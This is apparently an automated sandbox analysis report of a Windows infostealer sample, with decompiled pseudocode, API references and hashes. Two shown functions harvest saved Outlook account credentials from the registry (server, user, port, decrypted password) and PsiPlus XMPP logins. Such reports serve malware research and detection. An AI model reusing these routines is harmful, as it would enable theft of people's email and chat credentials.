0x0040c3ac
0x0040c3b1
0x0040c39a
0x00000000
0x0040c392
0x0040c2f1
0x0040c2f2
0x0040c2f4
0x0040c2f7
0x00000000
0x00000000
0x0040c2fb
0x0040c2fe
0x0040c300
0x0040c341
0x00000000
0x0040c341
0x0040c305
0x0040c30c
0x0040c311
0x0040c32c
0x0040c32f
0x0040c331
0x0040c33c
0x0040c33c
0x00000000
0x0040c33c
0x0040c333
0x0040c339
0x0040c339
0x0040c339
0x00000000
0x0040c339
0x0040c313
0x0040c318
0x0040c31a
0x0040c31c
0x00000000
0x0040c31e
0x0040c31e
0x00000000
0x0040c31e
0x0040c2e4
0x0040c2e4
0x0040c45c
0x0040c45f
0x0040c460
0x0040c461
0x0040c46f
0x0040c46f
0x0040c285
0x0040c285
0x0040c288
0x0040c28a
0x0040c28a
0x0040c28e
0x00000000
0x00000000
0x0040c290
0x0040c293
0x00000000
0x0040c295
0x0040c295
0x00000000
0x0040c295
0x0040c293
0x0040c29c
0x0040c29d
0x0040c29f
0x0040c2a2
0x0040c2a4
0x0040c2a4
0x00000000
0x0040c2a2

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00000100,0040A92A,00000000,?,?,?,0040C4A2,00000100,?,00000100), ref: 0040C2D5
_malloc.LIBCMT ref: 0040C327
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,00000000,?,?,?,0040C4A2,00000100,?,00000100,5EFC4D8B,?,?), ref: 0040C355
_malloc.LIBCMT ref: 0040C3F5

Part of subcall function 00405A57: __FF_MSGBANNER.LIBCMT ref: 00405A6E
Part of subcall function 00405A57: __NMSG_WRITE.LIBCMT ref: 00405A75
Part of subcall function 00405A57: HeapAlloc.KERNEL32(002D0000,00000000,00000001,00000000,00000000,00000000,?,00405EE4,00000000,00000000,00000000,00000000,?,0040A049,00000018,00416D48), ref: 00405A9A

WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,?,00000000,00000000,?,?,?,?,?,?,?,?), ref: 0040C444
__freea.LIBCMT ref: 0040C44D
__freea.LIBCMT ref: 0040C454

Part of subcall function 00409DA7: _free.LIBCMT ref: 00409DBD

Part of subcall function 00409E3D: LCMapStringW.KERNEL32(00000000,?,?,?,?,5EFC4D8B,?,0040C377,?,?,00000000,?,00000000,00000000), ref: 00409E81

Part of subcall function 00404AD4: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00406AFE
Part of subcall function 00404AD4: ___raise_securityfailure.LIBCMT ref: 00406BE5

Memory Dump Source

Source File: 00000009.00000001.591217201.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.590943898.00400000.00000002.sdmp
Associated: 00000009.00000001.592063011.00411000.00000002.sdmp
Associated: 00000009.00000001.592415327.00418000.00000008.sdmp
Associated: 00000009.00000001.593530815.00428000.00000004.sdmp
Associated: 00000009.00000001.593957050.0042E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_159753404015476.jbxd

Similarity

API ID: ByteCharMultiWide$__freea_malloc$AllocFeatureHeapPresentProcessorString___raise_securityfailure_free
String ID:
API String ID: 2723728770-0
Opcode ID: d11a94093b447b85adb54d6cc88af50ed61b6c5b3689d2cc776788fb58656e47
Instruction ID: 1318367fc78e8244b14f5ac9533d317cd4db7584af167dd2223575b1e46d2363
Opcode Fuzzy Hash: d11a94093b447b85adb54d6cc88af50ed61b6c5b3689d2cc776788fb58656e47
Instruction Fuzzy Hash: D151DD72A00205EBDB209F94DC85EBB3BA9EB44354F14437AFD08F62D1D7389C418698

Uniqueness

Uniqueness Score: 100.00%

Function 00406E5D, Relevance: 10.5, APIs: 7, Instructions: 45
threadCOMMON

C-Code - Quality: 91%

			E00406E5D(void* __ebx, void* __edi, void* __eflags) {
				void* __esi;
				void* _t3;
				intOrPtr _t6;
				long _t14;
				long* _t27;

				E00405C70(_t3);
				if(E0040A0B0() != 0) {
					_t6 = E0040955C(E00406BEE);
					 *0x429994 = _t6;
					__eflags = _t6 - 0xffffffff;
					if(_t6 == 0xffffffff) {
						goto L1;
					} else {
						_t27 = E00405E86(1, 0x3bc);
						__eflags = _t27;
						if(_t27 == 0) {
							L6:
							E00406ED3();
							__eflags = 0;
							return 0;
						} else {
							__eflags = E004095B8( *0x429994, _t27);
							if(__eflags == 0) {
								goto L6;
							} else {
								_push(0);
								_push(_t27);
								E00406DAA(__ebx, __edi, _t27, __eflags);
								_t14 = GetCurrentThreadId();
								_t27[1] = _t27[1] | 0xffffffff;
								 *_t27 = _t14;
								__eflags = 1;
								return 1;
							}
						}
					}
				} else {
					L1:
					E00406ED3();
					return 0;
				}
			}

0x00406e5d
0x00406e69
0x00406e78
0x00406e7d
0x00406e83
0x00406e86
0x00000000
0x00406e88
0x00406e95
0x00406e99
0x00406e9b
0x00406eca
0x00406eca
0x00406ecf
0x00406ed2
0x00406e9d
0x00406eab
0x00406ead
0x00000000
0x00406eaf
0x00406eaf
0x00406eb1
0x00406eb2
0x00406eb9
0x00406ebf
0x00406ec3
0x00406ec7
0x00406ec9
0x00406ec9
0x00406ead
0x00406e9b
0x00406e6b
0x00406e6b
0x00406e6b
0x00406e72
0x00406e72

APIs

__init_pointers.LIBCMT ref: 00406E5D

Part of subcall function 00405C70: RtlEncodePointer.NTDLL(00000000,?,00406E62,00405724,00416AB8,00000014), ref: 00405C73
Part of subcall function 00405C70: __initp_misc_winsig.LIBCMT ref: 00405C8E
Part of subcall function 00405C70: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00409672
Part of subcall function 00405C70: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00409686
Part of subcall function 00405C70: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00409699
Part of subcall function 00405C70: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 004096AC
Part of subcall function 00405C70: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 004096BF
Part of subcall function 00405C70: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 004096D2
Part of subcall function 00405C70: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 004096E5
Part of subcall function 00405C70: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 004096F8
Part of subcall function 00405C70: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 0040970B
Part of subcall function 00405C70: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 0040971E
Part of subcall function 00405C70: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00409731
Part of subcall function 00405C70: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00409744
Part of subcall function 00405C70: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00409757
Part of subcall function 00405C70: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 0040976A
Part of subcall function 00405C70: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 0040977D
Part of subcall function 00405C70: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00409790

__mtinitlocks.LIBCMT ref: 00406E62
__mtterm.LIBCMT ref: 00406E6B

Part of subcall function 00406ED3: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00406E70,00405724,00416AB8,00000014), ref: 00409FCA
Part of subcall function 00406ED3: _free.LIBCMT ref: 00409FD1
Part of subcall function 00406ED3: DeleteCriticalSection.KERNEL32(00429B80,?,?,00406E70,00405724,00416AB8,00000014), ref: 00409FF3

__calloc_crt.LIBCMT ref: 00406E90

Part of subcall function 00405E86: __calloc_impl.LIBCMT ref: 00405E95

__mtterm.LIBCMT ref: 00406ECA

Part of subcall function 004095B8: TlsSetValue.KERNEL32(00000000,?,?,00406D77,00000000,00409FD6,00000000,?,?,00406E70,00405724,00416AB8,00000014), ref: 004095D2

__initptd.LIBCMT ref: 00406EB2

Part of subcall function 00406DAA: __lock.LIBCMT ref: 00406DEE
Part of subcall function 00406DAA: __lock.LIBCMT ref: 00406E0F
Part of subcall function 00406DAA: ___addlocaleref.LIBCMT ref: 00406E2D

GetCurrentThreadId.KERNEL32(00405724,00416AB8,00000014), ref: 00406EB9

Memory Dump Source

Source File: 00000009.00000001.591217201.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.590943898.00400000.00000002.sdmp
Associated: 00000009.00000001.592063011.00411000.00000002.sdmp
Associated: 00000009.00000001.592415327.00418000.00000008.sdmp
Associated: 00000009.00000001.593530815.00428000.00000004.sdmp
Associated: 00000009.00000001.593957050.0042E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_159753404015476.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection__lock__mtterm$CurrentEncodeHandleModulePointerThreadValue___addlocaleref__calloc_crt__calloc_impl__init_pointers__initp_misc_winsig__initptd__mtinitlocks_free
String ID:
API String ID: 335892217-0
Opcode ID: 5cb700fa084d65c015155f9d0a670548e6559539b34b926f94094d4723e6b625
Instruction ID: 7ae57323905b9e68403425101ba3b5b55584a4e599e7c08d2708f0db9730b2e7
Opcode Fuzzy Hash: 5cb700fa084d65c015155f9d0a670548e6559539b34b926f94094d4723e6b625
Instruction Fuzzy Hash: BAF0C23625972159F6247736ED0365736848B02379B22063FF456F41D2EA38886245DD

Uniqueness

Uniqueness Score: 8.94%

Function 0040C208, Relevance: 10.4, Strings: 8, Instructions: 430
UNIQUE

C-Code - Quality: 33%

			E0040C208(char __eax, void* __ebx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				intOrPtr _v56;
				char _v60;
				char _v64;
				char _v2112;
				char _v3136;
				char _v4159;
				char _v4160;
				char _v4164;
				char _v4168;
				char _v4172;
				char _v4176;
				intOrPtr _v4180;
				intOrPtr _v4184;
				char _v4188;
				char _v4192;
				intOrPtr _v4196;
				char _v4200;
				char _v4204;
				char _v4208;
				char _v4212;
				intOrPtr _v4216;
				char _v4220;
				intOrPtr _v4224;
				char _v4228;
				intOrPtr _v4232;
				char _v4236;
				char _v4240;
				intOrPtr _v4244;
				char _v4248;
				char _v4252;
				intOrPtr _v4256;
				char _v4260;
				char _v4264;
				char _v4268;
				char _v4272;
				char _v4276;
				char _v4280;
				char _v4284;
				intOrPtr _v4288;
				char _v4292;
				intOrPtr* _t188;
				intOrPtr* _t192;
				void* _t197;
				intOrPtr* _t225;
				intOrPtr* _t229;
				intOrPtr* _t234;
				intOrPtr* _t244;
				signed int _t246;
				intOrPtr* _t248;
				void* _t259;
				void* _t274;
				intOrPtr* _t322;
				signed int _t324;
				intOrPtr* _t354;
				signed int _t363;
				void* _t364;
				void* _t374;
				intOrPtr _t395;
				intOrPtr* _t396;
				intOrPtr* _t398;
				intOrPtr* _t400;
				intOrPtr* _t402;
				intOrPtr _t404;
				intOrPtr _t409;
				intOrPtr _t411;
				void* _t430;
				void* _t434;
				void* _t438;
				void* _t456;
				signed int _t457;
				intOrPtr* _t459;
				intOrPtr _t461;
				intOrPtr _t462;

				_t461 = _t462;
				_t364 = 0x218;
				do {
					_push(0);
					_push(0);
					_t364 = _t364 - 1;
				} while (_t364 != 0);
				_push(__ebx);
				_push(__esi);
				_v8 = __eax;
				E00404150( &_v8);
				_t395 =  *0x401040; // 0x401044
				E004041A0( &_v4176, 4, _t395);
				_push(_t461);
				_push(0x40c8bc);
				_push( *[fs:eax]);
				 *[fs:eax] = _t462;
				_t396 =  *0x41b30c; // 0x41c984
				E0040357C( &_v4176,  *_t396);
				_t398 =  *0x41b31c; // 0x41c988
				E0040357C( &_v4172,  *_t398);
				_t400 =  *0x41b1bc; // 0x41c98c
				E0040357C( &_v4168,  *_t400);
				_t402 =  *0x41b478; // 0x41c990
				E0040357C( &_v4164,  *_t402);
				_push( &_v12);
				_push(E00403D98(_v8));
				_push(0x80000001);
				_t188 =  *0x41b474; // 0x41c72c
				if( *((intOrPtr*)( *_t188))() == 0) {
					_t457 = 0;
					while(1) {
						_push(0x800);
						_push( &_v2112);
						_push(_t457);
						_push(_v12);
						_t354 =  *0x41b248; // 0x41c730
						if( *((intOrPtr*)( *_t354))() != 0) {
							goto L6;
						}
						_t457 = _t457 + 1;
						__eflags = _t457;
						_push(_t457);
						E00404804();
						_t462 = _t462 + 4;
						E00403D6C(_v20 + _t457 * 4 - 4, 0x400,  &_v2112);
					}
				}
				L6:
				_t192 =  *0x41b1fc; // 0x41c714
				 *((intOrPtr*)( *_t192))(_v12);
				_t197 = E00404648(_v20) - 1;
				if(_t197 >= 0) {
					_v64 = _t197 + 1;
					_t363 = 0;
					do {
						_push( &_v12);
						_push(_v8);
						_push(0x40c8d4);
						_push( *((intOrPtr*)(_v20 + _t363 * 4)));
						E00403E78();
						_push(E00403D98(_v4180));
						_push(0x80000001);
						_t225 =  *0x41b474; // 0x41c72c
						if( *((intOrPtr*)( *_t225))() == 0) {
							_t456 = 0;
							while(1) {
								_push(0x800);
								_push( &_v2112);
								_push(_t456);
								_push(_v12);
								_t234 =  *0x41b248; // 0x41c730
								if( *((intOrPtr*)( *_t234))() != 0) {
									goto L20;
								}
								_t456 = _t456 + 1;
								_v28 = 0x400;
								E00403D6C( &_v4188, 0x400,  &_v2112);
								E00403E78();
								_t244 =  *0x41b474; // 0x41c72c
								_t246 =  *((intOrPtr*)( *_t244))(0x80000001, E00403D98(_v4184), _v4188, 0x40c8d4,  *((intOrPtr*)(_v20 + _t363 * 4)), 0x40c8d4, _v8,  &_v16);
								__eflags = _t246;
								if(_t246 == 0) {
									_push(0);
									_push( &_v4192);
									_push(_v8);
									_push(0x40c8d4);
									_push( *((intOrPtr*)(_v20 + _t363 * 4)));
									E00403D6C( &_v4200, 0x400,  &_v2112);
									E00403E78();
									E004075C0(0x80000001, _t363, L"Email", _v4196, _v4200, 0x40c8d4);
									_t259 = E00403DA8(_v4192);
									__eflags = _t259 - 1;
									if(_t259 - 1 > 0) {
										_v60 = 3;
										_t459 =  &_v4176;
										do {
											_push(0);
											_push( &_v4204);
											E004037DC( &_v4212, " Server",  *_t459);
											E00403D88( &_v4208, _v4212);
											_push(_v4208);
											_push(_v8);
											_push(0x40c8d4);
											_push( *((intOrPtr*)(_v20 + _t363 * 4)));
											_push(0x40c8d4);
											E00403D6C( &_v4220, 0x400,  &_v2112);
											_push(_v4220);
											E00403E78();
											_pop(_t374);
											E004075C0(0x80000001, _t363, _t374, _v4216);
											_t274 = E00403DA8(_v4204);
											__eflags = _t274 - 1;
											if(_t274 - 1 > 0) {
												E00403D88( &_v36,  *_t459);
												_push(0);
												_push( &_v52);
												_push(_v8);
												_push(0x40c8d4);
												_push( *((intOrPtr*)(_v20 + _t363 * 4)));
												E00403D6C( &_v4228, 0x400,  &_v2112);
												E00403E78();
												E004075C0(0x80000001, _t363, L"Email", _v4224, _v4228, 0x40c8d4);
												_push(0);
												_push( &_v44);
												_push(_v8);
												_push(0x40c8d4);
												_push( *((intOrPtr*)(_v20 + _t363 * 4)));
												_push(0x40c8d4);
												E00403D6C( &_v4236, 0x400,  &_v2112);
												_push(_v4236);
												E00403E78();
												_push(_v4232);
												E00403E14( &_v4240, L" User", _v36, __eflags);
												_pop(_t430);
												E004075C0(0x80000001, _t363, _v4240, _t430);
												_push(0);
												_push( &_v40);
												_push(_v8);
												_push(0x40c8d4);
												_push( *((intOrPtr*)(_v20 + _t363 * 4)));
												_push(0x40c8d4);
												E00403D6C( &_v4248, 0x400,  &_v2112);
												_push(_v4248);
												E00403E78();
												_push(_v4244);
												E00403E14( &_v4252, L" Server", _v36, __eflags);
												_pop(_t434);
												E004075C0(0x80000001, _t363, _v4252, _t434);
												_push(_v8);
												_push(0x40c8d4);
												_push( *((intOrPtr*)(_v20 + _t363 * 4)));
												_push(0x40c8d4);
												E00403D6C( &_v4260, 0x400,  &_v2112);
												_push(_v4260);
												E00403E78();
												_push(_v4256);
												E00403E14( &_v4264, L" Port", _v36, __eflags);
												_pop(_t438);
												_v56 = E004076B4(0x80000001, _t363, _v4264, _t438, _t459);
												E00403E14( &_v4268, L" Password", _v36, __eflags);
												_t322 =  *0x41b398; // 0x41c710
												_t324 =  *((intOrPtr*)( *_t322))(_v16, E00403D98(_v4268), 0,  &_v24,  &_v4160,  &_v28);
												__eflags = _t324;
												if(_t324 == 0) {
													E00404F54( &_v3136,  &_v4159);
													E0040C170( &_v3136,  &_v32, _v28 - 1);
													__eflags = E00403AD4(0x40c94c, _v32) - 1;
													E004039F0(_v32, E00403AD4(0x40c94c, _v32) - 1, 1,  &_v32);
													E00403D88( &_v48, _v32);
												}
												E0040377C( &_v4272, _v52);
												_push(_v4272);
												E0040377C( &_v4276, _v48);
												_push(_v4276);
												E0040377C( &_v4280, _v44);
												_push(_v4280);
												_push(_v36);
												_push("://");
												E0040709C(_v56, _t363,  &_v4292, _t459, __eflags);
												E00403E78();
												E0040377C( &_v4284, _v4288);
												E0040525C(E0040C97C, _t363, _v4284, "Outlook", _t456, _t459, _v4292, 0x40c960, _v40);
											}
											_t459 = _t459 + 4;
											_t153 =  &_v60;
											 *_t153 = _v60 - 1;
											__eflags =  *_t153;
										} while ( *_t153 != 0);
									}
								}
								_t248 =  *0x41b1fc; // 0x41c714
								 *((intOrPtr*)( *_t248))(_v16);
							}
						}
						L20:
						_t229 =  *0x41b1fc; // 0x41c714
						 *((intOrPtr*)( *_t229))(_v12);
						_t363 = _t363 + 1;
						_t159 =  &_v64;
						 *_t159 = _v64 - 1;
					} while ( *_t159 != 0);
				}
				_pop(_t404);
				 *[fs:eax] = _t404;
				_push(E0040C8C6);
				E00403BF4( &_v4292, 2);
				E00403508( &_v4284, 4);
				E00403BF4( &_v4268, 0xe);
				E004034E4( &_v4212);
				E00403BF4( &_v4208, 8);
				_t409 =  *0x401040; // 0x401044
				E00404280( &_v4176, 4, _t409);
				E00403BF4( &_v52, 5);
				E004034E4( &_v32);
				_t411 =  *0x40c1e4; // 0x40c1e8
				E00404810( &_v20, _t411);
				return E00403BDC( &_v8);
			}

0x0040c209
0x0040c20b
0x0040c210
0x0040c210
0x0040c212
0x0040c214
0x0040c214
0x0040c217
0x0040c218
0x0040c21a
0x0040c220
0x0040c230
0x0040c236
0x0040c23d
0x0040c23e
0x0040c243
0x0040c246
0x0040c24f
0x0040c257
0x0040c262
0x0040c26a
0x0040c275
0x0040c27d
0x0040c288
0x0040c290
0x0040c298
0x0040c2a1
0x0040c2a2
0x0040c2a7
0x0040c2b2
0x0040c2b4
0x0040c2e7
0x0040c2e7
0x0040c2f2
0x0040c2f3
0x0040c2f7
0x0040c2f8
0x0040c303
0x00000000
0x00000000
0x0040c2b8
0x0040c2b8
0x0040c2b9
0x0040c2c8
0x0040c2cd
0x0040c2e2
0x0040c2e2
0x0040c2e7
0x0040c305
0x0040c309
0x0040c310
0x0040c31a
0x0040c31d
0x0040c324
0x0040c327
0x0040c329
0x0040c32c
0x0040c32d
0x0040c330
0x0040c338
0x0040c346
0x0040c356
0x0040c357
0x0040c35c
0x0040c367
0x0040c36d
0x0040c7e9
0x0040c7e9
0x0040c7f4
0x0040c7f5
0x0040c7f9
0x0040c7fa
0x0040c805
0x00000000
0x00000000
0x0040c374
0x0040c375
0x0040c3a4
0x0040c3ba
0x0040c3d0
0x0040c3d7
0x0040c3d9
0x0040c3db
0x0040c3e1
0x0040c3e9
0x0040c3ea
0x0040c3ed
0x0040c3f5
0x0040c40e
0x0040c424
0x0040c439
0x0040c444
0x0040c449
0x0040c44a
0x0040c450
0x0040c457
0x0040c45d
0x0040c45d
0x0040c465
0x0040c473
0x0040c484
0x0040c48f
0x0040c490
0x0040c493
0x0040c49b
0x0040c49e
0x0040c4b4
0x0040c4b9
0x0040c4ca
0x0040c4da
0x0040c4db
0x0040c4e6
0x0040c4eb
0x0040c4ec
0x0040c4f7
0x0040c4fc
0x0040c501
0x0040c502
0x0040c505
0x0040c50d
0x0040c526
0x0040c53c
0x0040c551
0x0040c556
0x0040c55b
0x0040c55c
0x0040c55f
0x0040c567
0x0040c56a
0x0040c580
0x0040c585
0x0040c596
0x0040c5a1
0x0040c5b0
0x0040c5c0
0x0040c5c1
0x0040c5c6
0x0040c5cb
0x0040c5cc
0x0040c5cf
0x0040c5d7
0x0040c5da
0x0040c5f0
0x0040c5f5
0x0040c606
0x0040c611
0x0040c620
0x0040c630
0x0040c631
0x0040c636
0x0040c639
0x0040c641
0x0040c644
0x0040c65a
0x0040c65f
0x0040c670
0x0040c67b
0x0040c68a
0x0040c69a
0x0040c6a0
0x0040c6c2
0x0040c6d7
0x0040c6de
0x0040c6e0
0x0040c6e2
0x0040c6f4
0x0040c706
0x0040c71e
0x0040c727
0x0040c732
0x0040c732
0x0040c740
0x0040c74b
0x0040c755
0x0040c760
0x0040c76a
0x0040c775
0x0040c776
0x0040c779
0x0040c78f
0x0040c7a5
0x0040c7b6
0x0040c7cb
0x0040c7cb
0x0040c7d0
0x0040c7d3
0x0040c7d3
0x0040c7d3
0x0040c7d3
0x0040c45d
0x0040c44a
0x0040c7e0
0x0040c7e7
0x0040c7e7
0x0040c7e9
0x0040c80b
0x0040c80f
0x0040c816
0x0040c818
0x0040c819
0x0040c819
0x0040c819
0x0040c329
0x0040c824
0x0040c827
0x0040c82a
0x0040c83a
0x0040c84a
0x0040c85a
0x0040c865
0x0040c875
0x0040c885
0x0040c88b
0x0040c898
0x0040c8a0
0x0040c8a8
0x0040c8ae
0x0040c8bb

Strings

Server, xrefs: 0040C618
Server, xrefs: 0040C46C
://, xrefs: 0040C779
Outlook, xrefs: 0040C7C1
Email, xrefs: 0040C42F, 0040C547
User, xrefs: 0040C5A8
Port, xrefs: 0040C682
Password, xrefs: 0040C6BA

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: E4513$E465
String ID: Password$ Port$ Server$ Server$ User$://$Email$Outlook
API String ID: 3444935265-4176370039
Opcode ID: 72f2edec337a8533715fa72c8d35bbea705ad61b806b7d62908a18b81c444ba9
Instruction ID: 3719b962a0c2e8636b2e78684b3abd6692da8f7b83e55c517c2861017681945b
Opcode Fuzzy Hash: 72f2edec337a8533715fa72c8d35bbea705ad61b806b7d62908a18b81c444ba9
Instruction Fuzzy Hash: 47025C35A00159EBDB10EB94CC81EDEB7B9EF48304F1081B6A548B7291DB78AF85CF58

Uniqueness

Uniqueness Score: 100.00%

Function 0040D5D4, Relevance: 10.2, Strings: 8, Instructions: 205
UNIQUE

C-Code - Quality: 62%

			E0040D5D4(intOrPtr __eax, signed int __ebx, void* __ecx, char __edx, void* __edi, void* __esi, intOrPtr _a4) {
				char _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				char _v24;
				intOrPtr _v28;
				char _v32;
				char _v36;
				intOrPtr _v40;
				char _v44;
				intOrPtr _v48;
				char _v52;
				char _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				char _v96;
				char _v100;
				char _v104;
				void* _t86;
				void* _t90;
				void* _t132;
				signed int _t170;
				signed int _t173;
				signed int _t174;
				intOrPtr _t176;
				void* _t178;
				void* _t181;
				intOrPtr _t197;
				void* _t220;
				void* _t224;
				signed int _t227;
				signed int _t228;
				intOrPtr _t230;
				intOrPtr _t231;
				signed int _t234;

				_t225 = __esi;
				_t224 = __edi;
				_t170 = __ebx;
				_t230 = _t231;
				_t176 = 0xc;
				do {
					_push(0);
					_push(0);
					_t176 = _t176 - 1;
				} while (_t176 != 0);
				_t1 =  &_v8;
				 *_t1 = _t176;
				_push(__ebx);
				_push(__esi);
				_v16 =  *_t1;
				_v12 = __edx;
				_v8 = __eax;
				E00403980(_v8);
				E00403980(_v12);
				E00403980(_v16);
				_push(_t230);
				_push(0x40d882);
				_push( *[fs:eax]);
				 *[fs:eax] = _t231;
				while(E00403AD4("<roster-cache>", _v12) != 0) {
					_t86 = E00403AD4("</roster-cache>", _v12);
					_t170 = _t86 - E00403AD4("<roster-cache>", _v12) + 0xf;
					__eflags = _t170;
					_t90 = E00403AD4("<roster-cache>", _v12);
					_t178 = _t170;
					E00403A30( &_v12, _t178, _t90);
				}
				_t173 = _t170 | 0xffffffff;
				_t234 = _t173;
				do {
					_t173 = _t173 + 1;
					_push(0x40d8c8);
					E0040709C(_t173, _t173,  &_v32, _t225, _t234);
					_push(_v32);
					_push(0x40d8d4);
					E00403E78();
					E0040377C( &_v24, _v28);
				} while (E00403AD4(_v24, _v12) != 0);
				if(_t173 != 0) {
					_t227 = _t173 - 1;
					__eflags = _t227;
					if(_t227 >= 0) {
						_t228 = _t227 + 1;
						_t174 = 0;
						__eflags = 0;
						do {
							_push( &_v36);
							_push("</a");
							E0040709C(_t174, _t174,  &_v44, _t228, __eflags);
							_push(_v44);
							_push(0x40d8d4);
							E00403E78();
							_push(_v40);
							_push(0x40d8c8);
							E0040709C(_t174, _t174,  &_v52, _t228, __eflags);
							_push(_v52);
							E00403E78();
							_push(_v48);
							E00403D88( &_v56, _v12);
							_pop(_t132);
							_t181 = 0x40d8d4;
							E00407400(_t132, _t174, _t181, _v56, _t228);
							E0040377C( &_v20, _v36);
							E00403D88( &_v68, _v20);
							E00407400(L"<jid type=\"QString\">", _t174, L"</jid>", _v68, _t228,  &_v64);
							E0040377C( &_v60, _v64);
							_push(_v60);
							E00403D88( &_v92, _v20);
							E00407400(L"<password type=\"QString\">", _t174, L"</password>", _v92, _t228,  &_v88);
							E0040377C( &_v84, _v88);
							_push(_v84);
							E00403D88( &_v104, _v20);
							E00407400(L"<jid type=\"QString\">", _t174, L"</jid>", _v104, _t228,  &_v100);
							E0040377C( &_v96, _v100);
							_pop(_t220);
							E0040D3B4(_v96, _t174,  &_v80, _t220, _t224, _t228);
							E00403D88( &_v76, _v80);
							E0040377C( &_v72, _v76);
							_push(_v72);
							_push(0);
							E0040525C(E0040D984, _t174, _v8, _v16, _t224, _t228);
							_t174 = _t174 + 1;
							_t228 = _t228 - 1;
							__eflags = _t228;
						} while (__eflags != 0);
					}
				} else {
					E004034E4(_a4);
				}
				_pop(_t197);
				 *[fs:eax] = _t197;
				_push(E0040D889);
				E00403BF4( &_v104, 2);
				E004034E4( &_v96);
				E00403BF4( &_v92, 2);
				E00403508( &_v84, 2);
				E00403BDC( &_v76);
				E004034E4( &_v72);
				E00403BF4( &_v68, 2);
				E004034E4( &_v60);
				E00403BF4( &_v56, 8);
				return E00403508( &_v24, 5);
			}

0x0040d5d4
0x0040d5d4
0x0040d5d4
0x0040d5d5
0x0040d5d8
0x0040d5dd
0x0040d5dd
0x0040d5df
0x0040d5e1
0x0040d5e1
0x0040d5e4
0x0040d5e4
0x0040d5e7
0x0040d5e8
0x0040d5e9
0x0040d5ec
0x0040d5ef
0x0040d5f5
0x0040d5fd
0x0040d605
0x0040d60c
0x0040d60d
0x0040d612
0x0040d615
0x0040d654
0x0040d622
0x0040d638
0x0040d638
0x0040d644
0x0040d64e
0x0040d64f
0x0040d64f
0x0040d665
0x0040d665
0x0040d668
0x0040d668
0x0040d669
0x0040d673
0x0040d678
0x0040d67b
0x0040d688
0x0040d693
0x0040d6a3
0x0040d6a9
0x0040d6ba
0x0040d6bb
0x0040d6bd
0x0040d6c3
0x0040d6c4
0x0040d6c4
0x0040d6c6
0x0040d6c9
0x0040d6ca
0x0040d6d4
0x0040d6d9
0x0040d6dc
0x0040d6e9
0x0040d6f1
0x0040d6f2
0x0040d6fc
0x0040d701
0x0040d711
0x0040d719
0x0040d720
0x0040d728
0x0040d729
0x0040d72a
0x0040d735
0x0040d744
0x0040d756
0x0040d761
0x0040d769
0x0040d774
0x0040d786
0x0040d791
0x0040d799
0x0040d7a4
0x0040d7b6
0x0040d7c1
0x0040d7cc
0x0040d7cd
0x0040d7d8
0x0040d7e3
0x0040d7eb
0x0040d7ec
0x0040d7f9
0x0040d7fe
0x0040d7ff
0x0040d7ff
0x0040d7ff
0x0040d6c6
0x0040d6ab
0x0040d6ae
0x0040d6ae
0x0040d808
0x0040d80b
0x0040d80e
0x0040d81b
0x0040d823
0x0040d830
0x0040d83d
0x0040d845
0x0040d84d
0x0040d85a
0x0040d862
0x0040d86f
0x0040d881

Strings

</roster-cache>, xrefs: 0040D61D
</a, xrefs: 0040D6CA
<password type="QString">, xrefs: 0040D781
</jid>, xrefs: 0040D74C, 0040D7AC
<jid type="QString">, xrefs: 0040D751, 0040D7B1
PsiPlus, xrefs: 0040D5D7
</password>, xrefs: 0040D77C
<roster-cache>, xrefs: 0040D62C, 0040D63F, 0040D657

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: E4513
String ID: </a$</jid>$</password>$</roster-cache>$<jid type="QString">$<password type="QString">$<roster-cache>$PsiPlus
API String ID: 1918176781-2833378161
Opcode ID: c9e5966e51ba9c0d334dbe86dbe7584c48531e34244c28a69c5ca00ab688867a
Instruction ID: 5df5670cdf0cc48cab5ee99f80ea7fe7efe6ce027b5c18d44aa3925efc5c4b22
Opcode Fuzzy Hash: c9e5966e51ba9c0d334dbe86dbe7584c48531e34244c28a69c5ca00ab688867a
Instruction Fuzzy Hash: 3171C275E0010D9BDB01FFD5C8829DEBBB9EF48305F50813BE411B7296D678AE0A8B58

Uniqueness

Uniqueness Score: 100.00%

Function 0040BEBC, Relevance: 9.2, APIs: 6, Instructions: 183
